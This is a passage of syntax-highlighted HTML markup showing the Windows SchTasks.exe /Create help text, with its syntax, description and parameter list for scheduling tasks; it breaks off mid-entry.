    &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/RI &lt;/span&gt;&lt;span class="kd"&gt;interval&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="na"&gt;/ET &lt;/span&gt;&lt;span class="kd"&gt;endtime&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="na"&gt;/DU &lt;/span&gt;&lt;span class="kd"&gt;duration&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/K&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/XML &lt;/span&gt;&lt;span class="kd"&gt;xmlfile&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/V&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;
    &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/SD &lt;/span&gt;&lt;span class="kd"&gt;startdate&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/ED &lt;/span&gt;&lt;span class="kd"&gt;enddate&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/IT &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="na"&gt;/NP&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/Z&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="na"&gt;/F&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;

&lt;span class="kd"&gt;Description&lt;/span&gt;:
     &lt;span class="kd"&gt;Allows&lt;/span&gt; &lt;span class="kd"&gt;an&lt;/span&gt; &lt;span class="kd"&gt;administrator&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="kd"&gt;create&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="kd"&gt;or&lt;/span&gt; &lt;span class="kd"&gt;remote&lt;/span&gt; &lt;span class="kd"&gt;system&lt;/span&gt;.

&lt;span class="kd"&gt;Parameter&lt;/span&gt; &lt;span class="kd"&gt;List&lt;/span&gt;:
    &lt;span class="na"&gt;/S   &lt;/span&gt;&lt;span class="kd"&gt;system&lt;/span&gt;        &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;remote&lt;/span&gt; &lt;span class="kd"&gt;system&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="kd"&gt;connect&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt;. &lt;span class="kd"&gt;If&lt;/span&gt; &lt;span class="kd"&gt;omitted&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="kd"&gt;system&lt;/span&gt; &lt;span class="kd"&gt;is&lt;/span&gt; &lt;span class="kd"&gt;used&lt;/span&gt;.
    &lt;span class="na"&gt;/U   &lt;/span&gt;&lt;span class="kd"&gt;username&lt;/span&gt;      &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;user&lt;/span&gt; &lt;span class="kd"&gt;context&lt;/span&gt; &lt;span class="kd"&gt;under&lt;/span&gt; &lt;span class="kd"&gt;which&lt;/span&gt; &lt;span class="kd"&gt;SchTasks&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt; &lt;span class="kd"&gt;should&lt;/span&gt; &lt;span class="kd"&gt;execute&lt;/span&gt;.
    &lt;span class="na"&gt;/P   &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="kd"&gt;password&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;    &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;password&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;given&lt;/span&gt; &lt;span class="kd"&gt;user&lt;/span&gt; &lt;span class="kd"&gt;context&lt;/span&gt;. &lt;span class="kd"&gt;Prompts&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;input&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="kd"&gt;omitted&lt;/span&gt;.
    &lt;span class="na"&gt;/RU  &lt;/span&gt;&lt;span class="kd"&gt;username&lt;/span&gt;      &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="s2"&gt;"run as"&lt;/span&gt; &lt;span class="kd"&gt;user&lt;/span&gt; &lt;span class="kd"&gt;account&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;user&lt;/span&gt; &lt;span class="kd"&gt;context&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;under&lt;/span&gt; &lt;span class="kd"&gt;which&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;runs&lt;/span&gt;. &lt;span class="kd"&gt;For&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;system&lt;/span&gt; &lt;span class="kd"&gt;account&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;valid&lt;/span&gt; &lt;span class="kd"&gt;values&lt;/span&gt; &lt;span class="kd"&gt;are&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"NT AUTHORITY\SYSTEM"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;or&lt;/span&gt; &lt;span class="s2"&gt;"SYSTEM"&lt;/span&gt;. &lt;span class="kd"&gt;For&lt;/span&gt; &lt;span class="kd"&gt;v2&lt;/span&gt; &lt;span class="kd"&gt;tasks&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"NT AUTHORITY\LOCALSERVICE"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"NT AUTHORITY\NETWORKSERVICE"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;and&lt;/span&gt; &lt;span class="kd"&gt;common&lt;/span&gt; &lt;span class="kd"&gt;SIDs&lt;/span&gt; &lt;span class="kd"&gt;are&lt;/span&gt; &lt;span class="kd"&gt;also&lt;/span&gt; &lt;span class="kd"&gt;available&lt;/span&gt;.
    &lt;span class="na"&gt;/RP  &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="kd"&gt;password&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;    &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;password&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="s2"&gt;"run as"&lt;/span&gt; &lt;span class="kd"&gt;user&lt;/span&gt;. &lt;span class="kd"&gt;To&lt;/span&gt; &lt;span class="nb"&gt;prompt&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;password&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;value&lt;/span&gt; &lt;span class="kd"&gt;must&lt;/span&gt; &lt;span class="kd"&gt;be&lt;/span&gt; &lt;span class="s2"&gt;"*"&lt;/span&gt; &lt;span class="kd"&gt;or&lt;/span&gt; &lt;span class="kd"&gt;none&lt;/span&gt;. &lt;span class="kd"&gt;The&lt;/span&gt; &lt;span class="kd"&gt;password&lt;/span&gt; &lt;span class="kd"&gt;is&lt;/span&gt; &lt;span class="kd"&gt;ignored&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;system&lt;/span&gt; &lt;span class="kd"&gt;account&lt;/span&gt;. &lt;span class="kd"&gt;Must&lt;/span&gt; &lt;span class="kd"&gt;be&lt;/span&gt; &lt;span class="kd"&gt;used&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="na"&gt;/RU &lt;/span&gt;&lt;span class="kd"&gt;or&lt;/span&gt; &lt;span class="na"&gt;/XML&lt;/span&gt;.
    &lt;span class="na"&gt;/SC   &lt;/span&gt;&lt;span class="kd"&gt;schedule&lt;/span&gt;      &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;schedule&lt;/span&gt; &lt;span class="kd"&gt;frequency&lt;/span&gt;.
                       &lt;span class="kd"&gt;Valid&lt;/span&gt; &lt;span class="kd"&gt;schedule&lt;/span&gt; &lt;span class="kd"&gt;types&lt;/span&gt;: &lt;span class="kd"&gt;MINUTE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;HOURLY&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;DAILY&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;WEEKLY&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;MONTHLY&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONCE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONSTART&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONLOGON&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONIDLE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONEVENT&lt;/span&gt;.
    &lt;span class="na"&gt;/MO   &lt;/span&gt;&lt;span class="kd"&gt;modifier&lt;/span&gt;      &lt;span class="kd"&gt;Refines&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;schedule&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="kd"&gt;allow&lt;/span&gt; &lt;span class="kd"&gt;finer&lt;/span&gt; &lt;span class="kd"&gt;control&lt;/span&gt; &lt;span class="kd"&gt;over&lt;/span&gt; &lt;span class="kd"&gt;recurrence&lt;/span&gt;. &lt;span class="kd"&gt;Valid&lt;/span&gt; &lt;span class="kd"&gt;values&lt;/span&gt; &lt;span class="kd"&gt;are&lt;/span&gt; &lt;span class="kd"&gt;listed&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="s2"&gt;"Modifiers"&lt;/span&gt; &lt;span class="kd"&gt;section&lt;/span&gt; &lt;span class="kd"&gt;below&lt;/span&gt;.
    &lt;span class="na"&gt;/D    &lt;/span&gt;&lt;span class="kd"&gt;days&lt;/span&gt;          &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;day&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;s&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;of&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;week&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="nb"&gt;run&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt;. &lt;span class="kd"&gt;Valid&lt;/span&gt; &lt;span class="kd"&gt;values&lt;/span&gt;: &lt;span class="kd"&gt;MON&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;TUE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;WED&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;THU&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;FRI&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;SAT&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;SUN&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;and&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;MONTHLY&lt;/span&gt; &lt;span class="kd"&gt;schedules&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;–31 &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;day&lt;/span&gt; &lt;span class="kd"&gt;of&lt;/span&gt; &lt;span class="kd"&gt;month&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;. &lt;span class="kd"&gt;Wildcard&lt;/span&gt; &lt;span class="s2"&gt;"*"&lt;/span&gt; &lt;span class="kd"&gt;specifies&lt;/span&gt; &lt;span class="kd"&gt;all&lt;/span&gt; &lt;span class="kd"&gt;days&lt;/span&gt;.
    &lt;span class="na"&gt;/M    &lt;/span&gt;&lt;span class="kd"&gt;months&lt;/span&gt;        &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;month&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;s&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;of&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;year&lt;/span&gt;. &lt;span class="kd"&gt;Defaults&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;first&lt;/span&gt; &lt;span class="kd"&gt;day&lt;/span&gt; &lt;span class="kd"&gt;of&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;month&lt;/span&gt;. &lt;span class="kd"&gt;Valid&lt;/span&gt; &lt;span class="kd"&gt;values&lt;/span&gt;: &lt;span class="kd"&gt;JAN&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;FEB&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;MAR&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;APR&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;MAY&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;JUN&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;JUL&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;AUG&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;SEP&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;OCT&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;NOV&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;DEC&lt;/span&gt;. &lt;span class="kd"&gt;Wildcard&lt;/span&gt; &lt;span class="s2"&gt;"*"&lt;/span&gt; &lt;span class="kd"&gt;specifies&lt;/span&gt; &lt;span class="kd"&gt;all&lt;/span&gt; &lt;span class="kd"&gt;months&lt;/span&gt;.
    &lt;span class="na"&gt;/I    &lt;/span&gt;&lt;span class="kd"&gt;idletime&lt;/span&gt;      &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;amount&lt;/span&gt; &lt;span class="kd"&gt;of&lt;/span&gt; &lt;span class="kd"&gt;idle&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="kd"&gt;wait&lt;/span&gt; &lt;span class="kd"&gt;before&lt;/span&gt; &lt;span class="kd"&gt;running&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;ONIDLE&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt;. &lt;span class="kd"&gt;Valid&lt;/span&gt; &lt;span class="kd"&gt;range&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="m"&gt;999&lt;/span&gt; &lt;span class="kd"&gt;minutes&lt;/span&gt;.
    &lt;span class="na"&gt;/TN   &lt;/span&gt;&lt;span class="kd"&gt;taskname&lt;/span&gt;      &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;name&lt;/span&gt; &lt;span class="kd"&gt;that&lt;/span&gt; &lt;span class="kd"&gt;uniquely&lt;/span&gt; &lt;span class="kd"&gt;identifies&lt;/span&gt; &lt;span class="kd"&gt;this&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt;.
    &lt;span class="na"&gt;/TR   &lt;/span&gt;&lt;span class="kd"&gt;taskrun&lt;/span&gt;       &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="nb"&gt;path&lt;/span&gt; &lt;span class="kd"&gt;and&lt;/span&gt; &lt;span class="kd"&gt;file&lt;/span&gt; &lt;span class="kd"&gt;name&lt;/span&gt; &lt;span class="kd"&gt;of&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;programme&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="nb"&gt;run&lt;/span&gt; &lt;span class="nb"&gt;at&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;scheduled&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt;. &lt;span class="kd"&gt;Example&lt;/span&gt;: &lt;span class="kd"&gt;C&lt;/span&gt;:\windows\system32\calc.exe
    &lt;span class="na"&gt;/ST   &lt;/span&gt;&lt;span class="kd"&gt;starttime&lt;/span&gt;     &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="nb"&gt;start&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="nb"&gt;run&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt;. &lt;span class="kd"&gt;Time&lt;/span&gt; &lt;span class="nb"&gt;format&lt;/span&gt; &lt;span class="kd"&gt;is&lt;/span&gt; &lt;span class="kd"&gt;HH&lt;/span&gt;&lt;span class="nl"&gt;:mm&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;24&lt;/span&gt;‑hour&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="kd"&gt;e&lt;/span&gt;.g. &lt;span class="m"&gt;14&lt;/span&gt;:30 &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;:30 &lt;span class="kd"&gt;PM&lt;/span&gt;. &lt;span class="kd"&gt;Defaults&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="kd"&gt;current&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kd"&gt;specified&lt;/span&gt;. &lt;span class="kd"&gt;Required&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="na"&gt;/SC &lt;/span&gt;&lt;span class="kd"&gt;ONCE&lt;/span&gt;.
    &lt;span class="na"&gt;/RI   &lt;/span&gt;&lt;span class="kd"&gt;interval&lt;/span&gt;      &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;repetition&lt;/span&gt; &lt;span class="kd"&gt;interval&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="kd"&gt;minutes&lt;/span&gt;. &lt;span class="kd"&gt;Not&lt;/span&gt; &lt;span class="kd"&gt;applicable&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;schedule&lt;/span&gt; &lt;span class="kd"&gt;types&lt;/span&gt;: &lt;span class="kd"&gt;MINUTE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;HOURLY&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONSTART&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONLOGON&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONIDLE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONEVENT&lt;/span&gt;. &lt;span class="kd"&gt;Valid&lt;/span&gt; &lt;span class="kd"&gt;range&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt;–599940 &lt;span class="kd"&gt;minutes&lt;/span&gt;. &lt;span class="kd"&gt;If&lt;/span&gt; &lt;span class="na"&gt;/ET &lt;/span&gt;&lt;span class="kd"&gt;or&lt;/span&gt; &lt;span class="na"&gt;/DU &lt;/span&gt;&lt;span class="kd"&gt;is&lt;/span&gt; &lt;span class="kd"&gt;specified&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;is&lt;/span&gt; &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="kd"&gt;minutes&lt;/span&gt;.
    &lt;span class="na"&gt;/ET   &lt;/span&gt;&lt;span class="kd"&gt;endtime&lt;/span&gt;       &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;end&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="nb"&gt;run&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt;. &lt;span class="kd"&gt;Time&lt;/span&gt; &lt;span class="nb"&gt;format&lt;/span&gt; &lt;span class="kd"&gt;HH&lt;/span&gt;&lt;span class="nl"&gt;:mm&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;e&lt;/span&gt;.g. &lt;span class="m"&gt;14&lt;/span&gt;:50 &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;:50 &lt;span class="kd"&gt;PM&lt;/span&gt;. &lt;span class="kd"&gt;Not&lt;/span&gt; &lt;span class="kd"&gt;applicable&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;ONSTART&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONLOGON&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONIDLE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONEVENT&lt;/span&gt;.
    &lt;span class="na"&gt;/DU   &lt;/span&gt;&lt;span class="kd"&gt;duration&lt;/span&gt;      &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;duration&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="nb"&gt;run&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt;. &lt;span class="kd"&gt;Time&lt;/span&gt; &lt;span class="nb"&gt;format&lt;/span&gt; &lt;span class="kd"&gt;HH&lt;/span&gt;&lt;span class="nl"&gt;:mm&lt;/span&gt;. &lt;span class="kd"&gt;Not&lt;/span&gt; &lt;span class="kd"&gt;applicable&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="na"&gt;/ET &lt;/span&gt;&lt;span class="kd"&gt;or&lt;/span&gt; &lt;span class="kd"&gt;schedule&lt;/span&gt; &lt;span class="kd"&gt;types&lt;/span&gt; &lt;span class="kd"&gt;ONSTART&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONLOGON&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONIDLE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONEVENT&lt;/span&gt;. &lt;span class="kd"&gt;For&lt;/span&gt; &lt;span class="na"&gt;/V&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="kd"&gt;tasks&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="na"&gt;/RI &lt;/span&gt;&lt;span class="kd"&gt;is&lt;/span&gt; &lt;span class="kd"&gt;specified&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;duration&lt;/span&gt; &lt;span class="kd"&gt;defaults&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="kd"&gt;hour&lt;/span&gt;.
    &lt;span class="na"&gt;/K                  &lt;/span&gt;&lt;span class="kd"&gt;Terminates&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="nb"&gt;at&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;end&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt; &lt;span class="kd"&gt;or&lt;/span&gt; &lt;span class="kd"&gt;duration&lt;/span&gt;. &lt;span class="kd"&gt;Not&lt;/span&gt; &lt;span class="kd"&gt;applicable&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kd"&gt;ONSTART&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONLOGON&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONIDLE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;ONEVENT&lt;/span&gt;. &lt;span class="kd"&gt;Must&lt;/span&gt; &lt;span class="kd"&gt;specify&lt;/span&gt; &lt;span class="na"&gt;/ET &lt;/span&gt;&lt;span class="kd"&gt;or&lt;/span&gt; &lt;span class="na"&gt;/DU&lt;/span&gt;.
    &lt;span class="na"&gt;/SD   &lt;/span&gt;&lt;span class="kd"&gt;startdate&lt;/span&gt;     &lt;span class="kd"&gt;Specifies&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;first&lt;/span&gt; &lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt; &lt;span class="kd"&gt;which&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;task&lt;/span&gt; &lt;span class="kd"&gt;runs&lt;/span&gt;. &lt;span class="kd"&gt;Format&lt;/span&gt; &lt;span class="kd"&gt;yyyy&lt;/span&gt;&lt;span class="na"&gt;/mm/dd&lt;/span&gt;. &lt;span class="kd"&gt;Defaults&lt;/span&gt; &lt;span class="kd"&gt;to&lt;/span&gt; &lt;span class="kd"&gt;the&lt;/span&gt; &lt;span class="kd"&gt;current&lt;/span&gt; &lt;span class="nb"&gt;date&lt;/span&gt;. &lt;span class="kd"&gt;Not&lt;/span&gt; &lt;span class="kd"&gt;applicable&lt;/span&gt; &lt;span 